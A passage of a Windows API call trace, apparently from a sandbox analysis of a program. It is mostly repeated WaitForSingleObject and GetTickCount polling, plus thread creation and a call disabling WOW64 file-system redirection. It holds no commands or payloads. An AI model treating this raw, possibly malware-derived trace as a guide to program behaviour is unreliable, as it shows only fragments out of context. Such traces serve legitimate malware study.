WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0246.494] GetTickCount () returned 0x114820c [0246.494] GetTickCount () returned 0x114820c [0246.494] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0246.763] GetTickCount () returned 0x1148305 [0246.763] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0247.241] GetTickCount () returned 0x11484e9 [0247.241] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0247.434] GetTickCount () returned 0x11485a4 [0247.434] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0247.958] GetTickCount () returned 0x11487b7 [0247.958] GetTickCount () returned 0x11487b7 [0247.958] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0248.183] GetTickCount () returned 0x1148891 [0248.184] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0248.777] GetTickCount () returned 0x1148ae2 [0248.778] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0249.349] GetTickCount () returned 0x1148d23 [0249.349] GetTickCount () returned 0x1148d23 [0249.349] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0249.749] GetTickCount () returned 0x1148ea9 [0249.750] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0250.180] GetTickCount () returned 0x114905e [0250.180] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0250.621] GetTickCount () returned 0x1149213 [0250.622] GetTickCount () returned 0x1149213 [0250.622] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0251.044] GetTickCount () returned 0x11493b8 [0251.044] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0251.208] GetTickCount () returned 0x1149464 [0251.208] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0251.651] GetTickCount () returned 0x1149618 [0251.651] GetTickCount () returned 0x1149618 [0251.651] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0251.932] GetTickCount () returned 0x1149731 [0251.932] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0252.748] GetTickCount () returned 0x1149a6c [0252.748] GetTickCount () returned 0x1149a6c [0252.748] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0253.088] GetTickCount () returned 0x1149bb4 [0253.088] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0253.505] GetTickCount () returned 0x1149d59 [0253.506] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0253.738] GetTickCount () returned 0x1149e43 [0253.739] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0255.673] GetTickCount () returned 0x114a535 [0255.673] GetTickCount () returned 0x114a535 [0255.673] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0256.667] GetTickCount () returned 0x114a91c [0256.667] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0256.977] GetTickCount () returned 0x114aa54 [0256.977] GetTickCount () returned 0x114aa54 [0256.977] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0257.707] GetTickCount () returned 0x114ad21 [0257.707] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0258.336] GetTickCount () returned 0x114af91 [0258.336] GetTickCount () returned 0x114af91 [0258.336] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0258.615] GetTickCount () returned 0x114b0aa [0258.615] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0258.832] GetTickCount () returned 0x114b184 [0258.832] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0259.114] GetTickCount () returned 0x114b29d [0259.114] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0259.794] GetTickCount () returned 0x114b53c [0259.794] GetTickCount () returned 0x114b53c [0259.795] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0260.106] GetTickCount () returned 0x114b674 [0260.107] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0260.220] GetTickCount () returned 0x114b6f1 [0260.220] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0260.555] GetTickCount () returned 0x114b838 [0260.555] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0260.903] GetTickCount () returned 0x114b990 [0260.903] GetTickCount () returned 0x114b990 [0260.903] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0261.147] GetTickCount () returned 0x114ba89 [0261.147] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0261.300] GetTickCount () returned 0x114bb25 [0261.300] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0261.516] GetTickCount () returned 0x114bc00 [0261.517] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0261.685] GetTickCount () returned 0x114bcab [0261.685] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0262.124] GetTickCount () returned 0x114be60 [0262.124] GetTickCount () returned 0x114be60 [0262.124] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0262.715] GetTickCount () returned 0x114c0b1 [0262.715] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0263.009] GetTickCount () returned 0x114c1ca [0263.009] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0263.332] GetTickCount () returned 0x114c311 [0263.332] GetTickCount () returned 0x114c311 [0263.332] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0263.518] GetTickCount () returned 0x114c3cc [0263.519] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0263.714] GetTickCount () returned 0x114c497 [0263.714] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0263.976] GetTickCount () returned 0x114c591 [0263.976] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0264.099] GetTickCount () returned 0x114c60e [0264.099] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0264.329] GetTickCount () returned 0x114c6f8 [0264.329] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0264.597] GetTickCount () returned 0x114c801 [0264.597] GetTickCount () returned 0x114c801 [0264.597] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0264.717] GetTickCount () returned 0x114c87e [0264.717] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0264.969] GetTickCount () returned 0x114c977 [0264.969] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0265.156] GetTickCount () returned 0x114ca32 [0265.156] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0265.491] GetTickCount () returned 0x114cb8a [0265.492] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0265.795] GetTickCount () returned 0x114cca2 [0265.795] GetTickCount () returned 0x114cca2 [0265.795] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0266.117] GetTickCount () returned 0x114cdea [0266.117] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0266.343] GetTickCount () returned 0x114cec4 [0266.343] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0266.612] GetTickCount () returned 0x114cfce [0266.613] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0266.783] GetTickCount () returned 0x114d079 [0266.783] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0267.087] GetTickCount () returned 0x114d1b1 [0267.087] GetTickCount () returned 0x114d1b1 [0267.087] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0267.328] GetTickCount () returned 0x114d29b [0267.328] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0267.504] GetTickCount () returned 0x114d356 [0267.504] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0268.562] GetTickCount () returned 0x114d76c [0268.563] GetTickCount () returned 0x114d76c [0268.563] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0268.800] GetTickCount () returned 0x114d865 [0268.800] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0270.094] GetTickCount () returned 0x114dd74 [0270.094] GetTickCount () returned 0x114dd74 [0270.094] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0271.027] GetTickCount () returned 0x114e10c [0271.027] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0272.313] GetTickCount () returned 0x114e61b [0272.313] GetTickCount () returned 0x114e61b [0272.313] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0272.714] GetTickCount () returned 0x114e7b1 [0272.714] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0272.952] GetTickCount () returned 0x114e89b [0272.952] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0273.388] GetTickCount () returned 0x114ea50 [0273.388] GetTickCount () returned 0x114ea50 [0273.388] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0273.580] GetTickCount () returned 0x114eb0b [0273.580] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0274.036] GetTickCount () returned 0x114eccf [0274.036] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0274.413] GetTickCount () returned 0x114ee46 [0274.413] GetTickCount () returned 0x114ee46 [0274.413] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0274.676] GetTickCount () returned 0x114ef4f [0274.676] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0274.945] GetTickCount () returned 0x114f068 [0274.946] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0275.123] GetTickCount () returned 0x114f113 [0275.123] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0275.547] GetTickCount () returned 0x114f2b8 [0275.547] GetTickCount () returned 0x114f2b8 [0275.547] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0276.189] GetTickCount () returned 0x114f538 [0276.189] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0276.401] GetTickCount () returned 0x114f612 [0276.401] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0277.067] GetTickCount () returned 0x114f8b1 [0277.067] GetTickCount () returned 0x114f8b1 [0277.067] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0277.374] GetTickCount () returned 0x114f9da [0277.374] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0277.632] GetTickCount () returned 0x114fae3 [0277.632] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0278.182] GetTickCount () returned 0x114fd05 [0278.182] GetTickCount () returned 0x114fd05 [0278.182] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0278.702] GetTickCount () returned 0x114ff08 [0278.702] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0279.107] GetTickCount () returned 0x115009d [0279.107] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0279.795] GetTickCount () returned 0x115034c [0279.795] GetTickCount () returned 0x115034c [0279.795] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0280.403] GetTickCount () returned 0x1150520 [0280.403] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0281.181] GetTickCount () returned 0x11507af [0281.182] GetTickCount () returned 0x11507af [0281.184] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) Thread: id = 35 os_tid = 0x648 [0206.313] GetTickCount () returned 0x113e8e9 [0206.313] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x24) returned 0x5e7910 [0206.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e7910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0206.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e7910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8 [0206.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e7910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0 [0206.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e7910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8 [0206.334] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e4198 [0206.335] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4198, Size=0x20) returned 0x640978 [0206.335] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e4198 [0206.335] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4198, Size=0x20) returned 0x640950 [0206.336] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.336] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.336] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff84 | out: OldValue=0x2c4ff84*=0x0) returned 1 [0206.336] lstrlenW (lpString="kernel32.dll") returned 12 [0206.336] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x640978 | out: hHeap=0x590000) returned 1 [0206.336] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.336] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x640950 | out: hHeap=0x590000) returned 1 [0206.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6303f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0206.341] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0206.965] GetTickCount () returned 0x113eb78 [0206.965] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0207.267] GetTickCount () returned 0x113eca0 [0207.267] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0207.586] GetTickCount () returned 0x113ede8 [0207.586] GetTickCount () returned 0x113ede8 [0207.586] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0208.004] GetTickCount () returned 0x113ef8d [0208.004] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0208.238] GetTickCount () returned 0x113f077 [0208.238] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0208.551] GetTickCount () returned 0x113f1af [0208.551] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0208.815] GetTickCount () returned 0x113f2b8 [0208.815] GetTickCount () returned 0x113f2b8 [0208.815] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0209.051] GetTickCount () returned 0x113f3a2 [0209.051] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0209.301] GetTickCount () returned 0x113f49c [0209.301] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0209.795] GetTickCount () returned 0x113f670 [0209.795] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0210.082] GetTickCount () returned 0x113f789 [0210.082] GetTickCount () returned 0x113f789 [0210.082] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0210.327] GetTickCount () returned 0x113f882 [0210.327] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0210.912] GetTickCount () returned 0x113fa76 [0210.913] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0211.352] GetTickCount () returned 0x113fbfc [0211.353] GetTickCount () returned 0x113fbfc [0211.353] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0212.275] GetTickCount () returned 0x113ff46 [0212.275] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0213.714] GetTickCount () returned 0x1140455 [0213.714] GetTickCount () returned 0x1140455 [0213.714] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0214.615] GetTickCount () returned 0x114079f [0214.615] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0214.812] GetTickCount () returned 0x114085a [0214.812] GetTickCount () returned 0x114085a [0214.812] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0214.965] GetTickCount () returned 0x11408e7 [0214.967] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0216.295] GetTickCount () returned 0x1140dc7 [0216.295] GetTickCount () returned 0x1140dc7 [0216.296] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0217.504] GetTickCount () returned 0x11411fb [0217.504] GetTickCount () returned 0x11411fb [0217.506] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0217.967] GetTickCount () returned 0x1141391 [0217.967] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0218.887] GetTickCount () returned 0x11416fb [0218.887] GetTickCount () returned 0x11416fb [0218.887] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0219.831] GetTickCount () returned 0x1141a74 [0219.832] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0220.182] GetTickCount () returned 0x1141bbb [0220.182] GetTickCount () returned 0x1141bbb [0220.182] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0220.742] GetTickCount () returned 0x1141dce [0220.742] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0221.938] GetTickCount () returned 0x114227f [0221.938] GetTickCount () returned 0x114227f [0221.938] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0222.463] GetTickCount () returned 0x1142482 [0222.463] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0222.761] GetTickCount () returned 0x11425aa [0222.761] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0223.224] GetTickCount () returned 0x114277e [0223.224] GetTickCount () returned 0x114277e [0223.224] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0224.018] GetTickCount () returned 0x1142a9a [0224.018] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0224.253] GetTickCount () returned 0x1142b84 [0224.253] GetTickCount () returned 0x1142b84 [0224.253] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0224.955] GetTickCount () returned 0x1142e42 [0224.955] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0225.468] GetTickCount () returned 0x1143045 [0225.468] GetTickCount () returned 0x1143045 [0225.468] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0226.014] GetTickCount () returned 0x1143267 [0226.014] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0226.322] GetTickCount () returned 0x114339f [0226.322] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0226.697] GetTickCount () returned 0x1143515 [0226.697] GetTickCount () returned 0x1143515 [0226.697] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0227.038] GetTickCount () returned 0x114366c [0227.038] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0227.372] GetTickCount () returned 0x11437b4 [0227.372] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0227.651] GetTickCount () returned 0x11438cd [0227.651] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0227.990] GetTickCount () returned 0x1143a24 [0227.990] GetTickCount () returned 0x1143a24 [0227.990] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0228.588] GetTickCount () returned 0x1143c75 [0228.588] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0228.765] GetTickCount () returned 0x1143d20 [0228.765] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0229.148] GetTickCount () returned 0x1143ea6 [0229.148] GetTickCount () returned 0x1143ea6 [0229.148] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0229.402] GetTickCount () returned 0x1143fa0 [0229.402] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0229.701] GetTickCount () returned 0x11440c8 [0229.702] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0230.010] GetTickCount () returned 0x1144200 [0230.010] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0230.124] GetTickCount () returned 0x114426d [0230.124] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0230.409] GetTickCount () returned 0x1144396 [0230.409] GetTickCount () returned 0x1144396 [0230.409] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0230.751] GetTickCount () returned 0x11444ed [0230.751] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0231.003] GetTickCount () returned 0x11445e7 [0231.003] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0231.340] GetTickCount () returned 0x114472e [0231.340] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0231.700] GetTickCount () returned 0x1144895 [0231.700] GetTickCount () returned 0x1144895 [0231.700] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0231.908] GetTickCount () returned 0x114496f [0231.909] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0232.029] GetTickCount () returned 0x11449ec [0232.029] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0232.313] GetTickCount () returned 0x1144b05 [0232.313] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0232.598] GetTickCount () returned 0x1144c1e [0232.598] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0232.763] GetTickCount () returned 0x1144cc9 [0232.763] GetTickCount () returned 0x1144cc9 [0232.763] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0233.165] GetTickCount () returned 0x1144e4f [0233.165] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0233.607] GetTickCount () returned 0x1145014 [0233.607] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0233.722] GetTickCount () returned 0x1145081 [0233.722] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0233.977] GetTickCount () returned 0x114517b [0233.977] GetTickCount () returned 0x114517b [0233.977] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0234.373] GetTickCount () returned 0x1145310 [0234.373] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0234.632] GetTickCount () returned 0x114540a [0234.632] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0234.796] GetTickCount () returned 0x11454b5 [0234.796] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0234.928] GetTickCount () returned 0x1145532 [0234.928] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0235.067] GetTickCount () returned 0x11455af [0235.067] GetTickCount () returned 0x11455af [0235.067] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0236.295] GetTickCount () returned 0x1145a7f [0236.296] GetTickCount () returned 0x1145a7f [0236.296] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0238.426] GetTickCount () returned 0x11462d9 [0238.426] GetTickCount () returned 0x11462d9 [0238.426] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0238.796] GetTickCount () returned 0x114643f [0238.796] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0239.083] GetTickCount () returned 0x1146568 [0239.083] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0239.594] GetTickCount () returned 0x114675b [0239.594] GetTickCount () returned 0x114675b [0239.594] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0240.782] GetTickCount () returned 0x1146c0c [0240.782] GetTickCount () returned 0x1146c0c [0240.782] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0241.223] GetTickCount () returned 0x1146d73 [0241.223] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0241.723] GetTickCount () returned 0x1146f66 [0241.723] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0242.096] GetTickCount () returned 0x11470dd [0242.096] GetTickCount () returned 0x11470dd [0242.096] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0242.265] GetTickCount () returned 0x1147188 [0242.265] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0242.680] GetTickCount () returned 0x114731e [0242.680] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0243.077] GetTickCount () returned 0x11474b3 [0243.077] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0244.101] GetTickCount () returned 0x11478a9 [0244.101] GetTickCount () returned 0x11478a9 [0244.101] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0244.235] GetTickCount () returned 0x1147936 [0244.235] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0244.545] GetTickCount () returned 0x1147a6e [0244.545] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0245.415] GetTickCount () returned 0x1147dd7 [0245.415] GetTickCount () returned 0x1147dd7 [0245.415] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0245.844] GetTickCount () returned 0x1147f7d [0245.844] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0246.060] GetTickCount () returned 0x1148057 [0246.060] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0246.494] GetTickCount () returned 0x114820c [0246.494] GetTickCount () returned 0x114820c [0246.494] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0246.763] GetTickCount () returned 0x1148305 [0246.763] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0247.242] GetTickCount () returned 0x11484e9 [0247.242] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0247.434] GetTickCount () returned 0x11485a4 [0247.435] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0247.959] GetTickCount () returned 0x11487b7 [0247.959] GetTickCount () returned 0x11487b7 [0247.959] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0248.184] GetTickCount () returned 0x1148891 [0248.184] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0248.778] GetTickCount () returned 0x1148ae2 [0248.778] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0249.350] GetTickCount () returned 0x1148d23 [0249.350] GetTickCount () returned 0x1148d23 [0249.350] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0249.750] GetTickCount () returned 0x1148eb9 [0249.751] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 